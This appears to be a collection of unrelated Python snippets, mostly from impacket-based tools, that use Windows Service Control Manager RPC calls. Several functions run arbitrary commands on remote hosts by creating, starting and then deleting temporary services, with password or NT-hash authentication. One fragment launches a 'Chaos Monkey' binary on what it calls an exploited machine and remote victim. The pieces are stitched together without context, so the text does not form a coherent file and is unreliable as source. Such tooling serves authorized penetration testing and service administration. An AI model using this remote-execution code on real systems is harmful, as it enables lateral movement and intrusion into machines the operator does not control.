def execute_remote(self, data): self.__output = '\\Windows\\Temp\\' + gen_random_string() self.__batchFile = '%TEMP%\\' + gen_random_string() + '.bat' if self.__retOutput: command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile else: command = self.__shell + 'echo ' + data + ' 2^>^&1 > ' + self.__batchFile + ' & ' + self.__shell + self.__batchFile command += ' & ' + 'del ' + self.__batchFile logging.debug('Executing command: ' + command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def execute_remote(self, data): to_batch = '{} echo {} ^> {} 2^>^&1 > {}'.format( self.__shell, data, self.__output, self.__batchFile) command = '{} & {} {}'.format(to_batch, self.__shell, self.__batchFile) if self.__mode == 'SERVER': command += ' & ' + self.__copyBack command = '{} & del {}'.format(command, self.__batchFile) logging.debug('Executing %s' % command) resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName, lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(self.__scmr, service) except: pass scmr.hRDeleteService(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, service) self.get_output()
def test_RControlServiceCall(self): dce, rpc_transport = self.connect() scHandle = self.get_service_handle(dce) lpServiceName = 'CryptSvc\x00' desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess) resp.dump() serviceHandle = resp['lpServiceHandle'] try: req = scmr.RControlService() req['hService'] = serviceHandle req['dwControl'] = scmr.SERVICE_CONTROL_STOP dce.request(req) except scmr.DCERPCSessionError as e: if str(e).find('ERROR_DEPENDENT_SERVICES_RUNNING') < 0 and str( e).find('ERROR_SERVICE_NOT_ACTIVE') < 0: raise pass scmr.hRCloseServiceHandle(dce, serviceHandle) time.sleep(1) resp = scmr.hROpenServiceW(dce, scHandle, lpServiceName, desiredAccess) resp.dump() serviceHandle = resp['lpServiceHandle'] try: resp = scmr.hRStartServiceW(dce, serviceHandle, 0, NULL) resp.dump() except scmr.DCERPCSessionError as e: if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') < 0: raise return
def service_exec(conn, cmd): import random import string from impacket.dcerpc.v5 import transport, srvs, scmr service_name = ''.join([random.choice(string.letters) for i in range(4)]) # Setup up a DCE SMBTransport with the connection already in place rpcsvc = conn.get_dce_rpc('svcctl') rpcsvc.connect() rpcsvc.bind(scmr.MSRPC_UUID_SCMR) svcHandle = None try: print("Opening SVCManager on %s....." % conn.get_remote_host()) resp = scmr.hROpenSCManagerW(rpcsvc) svcHandle = resp['lpScHandle'] # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(rpcsvc, svcHandle, service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') == -1: raise e # Unexpected error else: # It exists, remove it scmr.hRDeleteService(rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(rpcsvc, resp['lpServiceHandle']) print('Creating service %s.....' % service_name) resp = scmr.hRCreateServiceW(rpcsvc, svcHandle, service_name + '\x00', service_name + '\x00', lpBinaryPathName=cmd + '\x00') serviceHandle = resp['lpServiceHandle'] if serviceHandle: # Start service try: print('Starting service %s.....' % service_name) scmr.hRStartServiceW(rpcsvc, serviceHandle) # is it really need to stop? # using command line always makes starting service fail because SetServiceStatus() does not get called #print('Stoping service %s.....' % service_name) #scmr.hRControlService(rpcsvc, serviceHandle, scmr.SERVICE_CONTROL_STOP) except Exception as e: print(str(e)) print('Removing service %s.....' % service_name) scmr.hRDeleteService(rpcsvc, serviceHandle) scmr.hRCloseServiceHandle(rpcsvc, serviceHandle) except Exception as e: print("ServiceExec Error on: %s" % conn.get_remote_host()) print(str(e)) finally: if svcHandle: scmr.hRCloseServiceHandle(rpcsvc, svcHandle) rpcsvc.disconnect()
def connect(self): if self.rrpStarted is not True: dce, rpctransport, scHandle = self.connect_scmr() desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \ scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, scHandle, 'RemoteRegistry\x00', desiredAccess) resp.dump() serviceHandle = resp['lpServiceHandle'] try: resp = scmr.hRStartServiceW(dce, serviceHandle) except Exception as e: if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >= 0: pass else: raise resp = scmr.hRCloseServiceHandle(dce, scHandle) self.rrpStarted = True rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username, self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax=self.ts) resp = rrp.hOpenLocalMachine( dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS) return dce, rpctransport, resp['phKey']
def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: logging.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: logging.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType=0x4) if self.__serviceDeleted is False: # Check again the service we created does not exist, starting a new connection # Why?.. Hitting CTRL+C might break the whole existing DCE connection try: rpc = transport.DCERPCTransportFactory( r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*self.__smbConnection.getCredentials()) rpc.set_kerberos(self.__doKerberos) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) rpc.disconnect() except Exception, e: # If service is stopped it'll trigger an exception # If service does not exist it'll trigger an exception # So. we just wanna be sure we delete it, no need to # show this exception message pass
def connect(self): if self.rrpStarted is not True: dce, rpctransport, scHandle = self.connect_scmr() desiredAccess = scmr.SERVICE_START | scmr.SERVICE_STOP | scmr.SERVICE_CHANGE_CONFIG | \ scmr.SERVICE_QUERY_CONFIG | scmr.SERVICE_QUERY_STATUS | scmr.SERVICE_ENUMERATE_DEPENDENTS resp = scmr.hROpenServiceW(dce, scHandle, 'RemoteRegistry\x00', desiredAccess) resp.dump() serviceHandle = resp['lpServiceHandle'] try: resp = scmr.hRStartServiceW(dce, serviceHandle ) except Exception as e: if str(e).find('ERROR_SERVICE_ALREADY_RUNNING') >=0: pass else: raise resp = scmr.hRCloseServiceHandle(dce, scHandle) self.rrpStarted = True rpctransport = transport.DCERPCTransportFactory(self.stringBinding) if len(self.hashes) > 0: lmhash, nthash = self.hashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(self.username,self.password, self.domain, lmhash, nthash) dce = rpctransport.get_dce_rpc() #dce.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_INTEGRITY) dce.connect() dce.bind(rrp.MSRPC_UUID_RRP, transfer_syntax = self.ts) resp = rrp.hOpenLocalMachine(dce, MAXIMUM_ALLOWED | rrp.KEY_WOW64_32KEY | rrp.KEY_ENUMERATE_SUB_KEYS) return dce, rpctransport, resp['phKey']
def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: logging.info('Stopping service %s' % self.__serviceName) scmr.hRControlService(self.__scmr, self.__serviceHandle, scmr.SERVICE_CONTROL_STOP) if self.__disabled is True: logging.info('Restoring the disabled state for service %s' % self.__serviceName) scmr.hRChangeServiceConfigW(self.__scmr, self.__serviceHandle, dwStartType = 0x4) if self.__serviceDeleted is False: # Check again the service we created does not exist, starting a new connection # Why?.. Hitting CTRL+C might break the whole existing DCE connection try: rpc = transport.DCERPCTransportFactory(r'ncacn_np:%s[\pipe\svcctl]' % self.__smbConnection.getRemoteHost()) if hasattr(rpc, 'set_credentials'): # This method exists only for selected protocol sequences. rpc.set_credentials(*self.__smbConnection.getCredentials()) rpc.set_kerberos(self.__doKerberos) self.__scmr = rpc.get_dce_rpc() self.__scmr.connect() self.__scmr.bind(scmr.MSRPC_UUID_SCMR) # Open SC Manager ans = scmr.hROpenSCManagerW(self.__scmr) self.__scManagerHandle = ans['lpScHandle'] # Now let's open the service resp = scmr.hROpenServiceW(self.__scmr, self.__scManagerHandle, self.__tmpServiceName) service = resp['lpServiceHandle'] scmr.hRDeleteService(self.__scmr, service) scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(self.__scmr, service) scmr.hRCloseServiceHandle(self.__scmr, self.__serviceHandle) scmr.hRCloseServiceHandle(self.__scmr, self.__scManagerHandle) rpc.disconnect() except Exception, e: # If service is stopped it'll trigger an exception # If service does not exist it'll trigger an exception # So. we just wanna be sure we delete it, no need to # show this exception message pass
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle'] def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place
def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() #dce.set_credentials(self.__username, self.__password) dce.connect() #dce.set_max_fragment_size(1) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) dce.bind(scmr.MSRPC_UUID_SCMR) #rpc = svcctl.DCERPCSvcCtl(dce) rpc = dce ans = scmr.hROpenSCManagerW(rpc) scManagerHandle = ans['lpScHandle'] if self.__action != 'LIST' and self.__action != 'CREATE': ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.name+'\x00') serviceHandle = ans['lpServiceHandle'] if self.__action == 'START': print "Starting service %s" % self.__options.name scmr.hRStartServiceW(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'STOP': print "Stopping service %s" % self.__options.name scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'DELETE': print "Deleting service %s" % self.__options.name scmr.hRDeleteService(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'CONFIG': print "Querying service config for %s" % self.__options.name resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) print "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'], if resp['lpServiceConfig']['dwServiceType'] & 0x1: print "SERVICE_KERNEL_DRIVER ", if resp['lpServiceConfig']['dwServiceType'] & 0x2: print "SERVICE_FILE_SYSTEM_DRIVER ", if resp['lpServiceConfig']['dwServiceType'] & 0x10: print "SERVICE_WIN32_OWN_PROCESS ", if resp['lpServiceConfig']['dwServiceType'] & 0x20: print "SERVICE_WIN32_SHARE_PROCESS ", if resp['lpServiceConfig']['dwServiceType'] & 0x100: print "SERVICE_INTERACTIVE_PROCESS ", print "" print "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'], if resp['lpServiceConfig']['dwStartType'] == 0x0: print "BOOT START" elif resp['lpServiceConfig']['dwStartType'] == 0x1: print "SYSTEM START" elif resp['lpServiceConfig']['dwStartType'] == 0x2: print "AUTO START" elif resp['lpServiceConfig']['dwStartType'] == 0x3: print "DEMAND START" elif resp['lpServiceConfig']['dwStartType'] == 0x4: print "DISABLED" else: print "UNKOWN" print "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'], if resp['lpServiceConfig']['dwErrorControl'] == 0x0: print "IGNORE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: print "NORMAL" elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: print "SEVERE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: print "CRITICAL" else: print "UNKOWN" print "BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1] print "LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1] print "TAG : %d" % resp['lpServiceConfig']['dwTagId'] print "DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1] print "DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1] print "SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1] elif self.__action == 'STATUS': print "Querying status for %s" % self.__options.name resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) print "%30s - " % (self.__options.name), state = resp['lpServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: print "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: print "PAUSED" elif state == scmr.SERVICE_RUNNING: print "RUNNING" elif state == scmr.SERVICE_START_PENDING: print "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: print "STOP PENDING" elif state == scmr.SERVICE_STOPPED: print "STOPPED" else: print "UNKOWN" elif self.__action == 'LIST': print "Listing services available on target" #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) for i in range(len(resp)): print "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]), state = resp[i]['ServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: print "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: print "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: print "PAUSED" elif state == scmr.SERVICE_RUNNING: print "RUNNING" elif state == scmr.SERVICE_START_PENDING: print "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: print "STOP PENDING" elif state == scmr.SERVICE_STOPPED: print "STOPPED" else: print "UNKOWN" print "Total Services: %d" % len(resp) elif self.__action == 'CREATE': print "Creating service %s" % self.__options.name resp = scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.name + '\x00', self.__options.display + '\x00', lpBinaryPathName=self.__options.path + '\x00') elif self.__action == 'CHANGE': print "Changing service config for %s" % self.__options.name if self.__options.start_type is not None: start_type = int(self.__options.start_type) else: start_type = scmr.SERVICE_NO_CHANGE if self.__options.service_type is not None: service_type = int(self.__options.service_type) else: service_type = scmr.SERVICE_NO_CHANGE if self.__options.display is not None: display = self.__options.display + '\x00' else: display = NULL if self.__options.path is not None: path = self.__options.path + '\x00' else: path = NULL if self.__options.start_name is not None: start_name = self.__options.start_name + '\x00' else: start_name = NULL if self.__options.password is not None: s = rpctransport.get_smb_connection() key = s.getSessionKey() password = (self.__options.password+'\x00').encode('utf-16le') password = encryptSecret(key, password) else: password = NULL #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display) scmr.hRCloseServiceHandle(rpc, serviceHandle) else: print "Unknown action %s" % self.__action scmr.hRCloseServiceHandle(rpc, scManagerHandle) dce.disconnect() return
request['Info']['dwInfoLevel'] = 11 request['Info']['Union']['tag'] = 11 request['Info']['Union']['psma']['fIsManagedAccount'] = 1 # This one doesn't work #resp = dce.request(request) #self.changeServiceAndQuery2(dce, request, request['Info']['Union']['psma']['fIsManagedAccount']) except Exception, e: import traceback traceback.print_exc() print e error = True pass resp = scmr.hRDeleteService(dce, newHandle) resp = scmr.hRCloseServiceHandle(dce, newHandle) resp = scmr.hRCloseServiceHandle(dce, scHandle) if error: self.assertTrue( 1 == 0 ) def test_REnumServicesStatusExW(self): dce, rpctransport, scHandle = self.connect() request = scmr.REnumServicesStatusExW() request['hSCManager'] = scHandle request['InfoLevel'] = scmr.SC_STATUS_PROCESS_INFO request['dwServiceType'] = scmr.SERVICE_WIN32_OWN_PROCESS request['dwServiceState'] = scmr.SERVICE_STATE_ALL request['lpResumeIndex'] = NULL request['pszGroupName'] = NULL request['cbBufSize'] = 0
def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() #dce.set_credentials(self.__username, self.__password) dce.connect() #dce.set_max_fragment_size(1) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_PRIVACY) #dce.set_auth_level(ntlm.NTLM_AUTH_PKT_INTEGRITY) dce.bind(scmr.MSRPC_UUID_SCMR) #rpc = svcctl.DCERPCSvcCtl(dce) rpc = dce ans = scmr.hROpenSCManagerW(rpc) scManagerHandle = ans['lpScHandle'] if self.__action != 'LIST' and self.__action != 'CREATE': ans = scmr.hROpenServiceW(rpc, scManagerHandle, self.__options.service_name+'\x00') serviceHandle = ans['lpServiceHandle'] if self.__action == 'START': self.__logger.success("Starting service {}".format(self.__options.service_name)) scmr.hRStartServiceW(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'STOP': self.__logger.success("Stopping service {}".format(self.__options.service_name)) scmr.hRControlService(rpc, serviceHandle, scmr.SERVICE_CONTROL_STOP) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'DELETE': self.__logger.success("Deleting service {}".format(self.__options.service_name)) scmr.hRDeleteService(rpc, serviceHandle) scmr.hRCloseServiceHandle(rpc, serviceHandle) elif self.__action == 'CONFIG': self.__logger.success("Service config for {}".format(self.__options.service_name)) resp = scmr.hRQueryServiceConfigW(rpc, serviceHandle) output = "TYPE : %2d - " % resp['lpServiceConfig']['dwServiceType'] if resp['lpServiceConfig']['dwServiceType'] & 0x1: output += "SERVICE_KERNEL_DRIVER " if resp['lpServiceConfig']['dwServiceType'] & 0x2: output += "SERVICE_FILE_SYSTEM_DRIVER " if resp['lpServiceConfig']['dwServiceType'] & 0x10: output += "SERVICE_WIN32_OWN_PROCESS " if resp['lpServiceConfig']['dwServiceType'] & 0x20: output += "SERVICE_WIN32_SHARE_PROCESS " if resp['lpServiceConfig']['dwServiceType'] & 0x100: output += "SERVICE_INTERACTIVE_PROCESS " self.__logger.results(output) output = "START_TYPE : %2d - " % resp['lpServiceConfig']['dwStartType'] if resp['lpServiceConfig']['dwStartType'] == 0x0: output += "BOOT START" elif resp['lpServiceConfig']['dwStartType'] == 0x1: output += "SYSTEM START" elif resp['lpServiceConfig']['dwStartType'] == 0x2: output += "AUTO START" elif resp['lpServiceConfig']['dwStartType'] == 0x3: output += "DEMAND START" elif resp['lpServiceConfig']['dwStartType'] == 0x4: output += "DISABLED" else: output += "UNKOWN" self.logger.results(output) output = "ERROR_CONTROL : %2d - " % resp['lpServiceConfig']['dwErrorControl'] if resp['lpServiceConfig']['dwErrorControl'] == 0x0: output += "IGNORE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x1: output += "NORMAL" elif resp['lpServiceConfig']['dwErrorControl'] == 0x2: output += "SEVERE" elif resp['lpServiceConfig']['dwErrorControl'] == 0x3: output += "CRITICAL" else: output += "UNKOWN" self.__logger.results(output) self.__logger.results("BINARY_PATH_NAME : %s" % resp['lpServiceConfig']['lpBinaryPathName'][:-1]) self.__logger.results("LOAD_ORDER_GROUP : %s" % resp['lpServiceConfig']['lpLoadOrderGroup'][:-1]) self.__logger.results("TAG : %d" % resp['lpServiceConfig']['dwTagId']) self.__logger.results("DISPLAY_NAME : %s" % resp['lpServiceConfig']['lpDisplayName'][:-1]) self.__logger.results("DEPENDENCIES : %s" % resp['lpServiceConfig']['lpDependencies'][:-1]) self.__logger.results("SERVICE_START_NAME: %s" % resp['lpServiceConfig']['lpServiceStartName'][:-1]) elif self.__action == 'STATUS': self.__logger.success("Service status for {}".format(self.__options.service_name)) resp = scmr.hRQueryServiceStatus(rpc, serviceHandle) output = "%s - " % self.__options.service_name state = resp['lpServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: output += "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: output += "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: output += "PAUSED" elif state == scmr.SERVICE_RUNNING: output += "RUNNING" elif state == scmr.SERVICE_START_PENDING: output += "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: output += "STOP PENDING" elif state == scmr.SERVICE_STOPPED: output += "STOPPED" else: output += "UNKOWN" self.__logger.results(output) elif self.__action == 'LIST': self.__logger.success("Enumerating services") #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_SHARE_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, svcctl.SERVICE_WIN32_OWN_PROCESS ) #resp = rpc.EnumServicesStatusW(scManagerHandle, serviceType = svcctl.SERVICE_FILE_SYSTEM_DRIVER, serviceState = svcctl.SERVICE_STATE_ALL ) resp = scmr.hREnumServicesStatusW(rpc, scManagerHandle) for i in range(len(resp)): output = "%30s - %70s - " % (resp[i]['lpServiceName'][:-1], resp[i]['lpDisplayName'][:-1]) state = resp[i]['ServiceStatus']['dwCurrentState'] if state == scmr.SERVICE_CONTINUE_PENDING: output += "CONTINUE PENDING" elif state == scmr.SERVICE_PAUSE_PENDING: output += "PAUSE PENDING" elif state == scmr.SERVICE_PAUSED: output += "PAUSED" elif state == scmr.SERVICE_RUNNING: output += "RUNNING" elif state == scmr.SERVICE_START_PENDING: output += "START PENDING" elif state == scmr.SERVICE_STOP_PENDING: output += "STOP PENDING" elif state == scmr.SERVICE_STOPPED: output += "STOPPED" else: output += "UNKOWN" self.__logger.results(output) self.__logger.results("Total Services: {}".format(len(resp))) elif self.__action == 'CREATE': self.__logger.success("Creating service {}".format(self.__options.service_name)) scmr.hRCreateServiceW(rpc, scManagerHandle,self.__options.service_name + '\x00', self.__options.service_display_name + '\x00', lpBinaryPathName=self.__options.service_bin_path + '\x00') elif self.__action == 'CHANGE': self.__logger.success("Changing service config for {}".format(self.__options.service_name)) if self.__options.start_type is not None: start_type = int(self.__options.start_type) else: start_type = scmr.SERVICE_NO_CHANGE if self.__options.service_type is not None: service_type = int(self.__options.service_type) else: service_type = scmr.SERVICE_NO_CHANGE if self.__options.service_display_name is not None: display = self.__options.service_display_name + '\x00' else: display = NULL if self.__options.service_bin_path is not None: path = self.__options.service_bin_path + '\x00' else: path = NULL if self.__options.start_name is not None: start_name = self.__options.start_name + '\x00' else: start_name = NULL if self.__options.start_pass is not None: s = rpctransport.get_smb_connection() key = s.getSessionKey() try: password = (self.__options.start_pass+'\x00').encode('utf-16le') except UnicodeDecodeError: import sys password = (self.__options.start_pass+'\x00').decode(sys.getfilesystemencoding()).encode('utf-16le') password = encryptSecret(key, password) else: password = NULL #resp = scmr.hRChangeServiceConfigW(rpc, serviceHandle, display, path, service_type, start_type, start_name, password) scmr.hRChangeServiceConfigW(rpc, serviceHandle, service_type, start_type, scmr.SERVICE_ERROR_IGNORE, path, NULL, NULL, NULL, 0, start_name, password, 0, display) scmr.hRCloseServiceHandle(rpc, serviceHandle) else: logging.error("Unknown action %s" % self.__action) scmr.hRCloseServiceHandle(rpc, scManagerHandle) dce.disconnect() return
scmr_rpc.connect() except Exception, exc: LOG.warn("Error connecting to SCM on exploited machine %r: %s", host, exc) return False smb_conn = rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) resp = scmr.hROpenSCManagerW(scmr_rpc) sc_handle = resp['lpScHandle'] # start the monkey using the SCM resp = scmr.hRCreateServiceW(scmr_rpc, sc_handle, "Chaos Monkey", "Chaos Monkey", lpBinaryPathName=cmdline) service = resp['lpServiceHandle'] try: scmr.hRStartServiceW(scmr_rpc, service) except: pass scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) LOG.info("Executed monkey '%s' on remote victim %r (cmdline=%r)", remote_full_path, host, cmdline) return True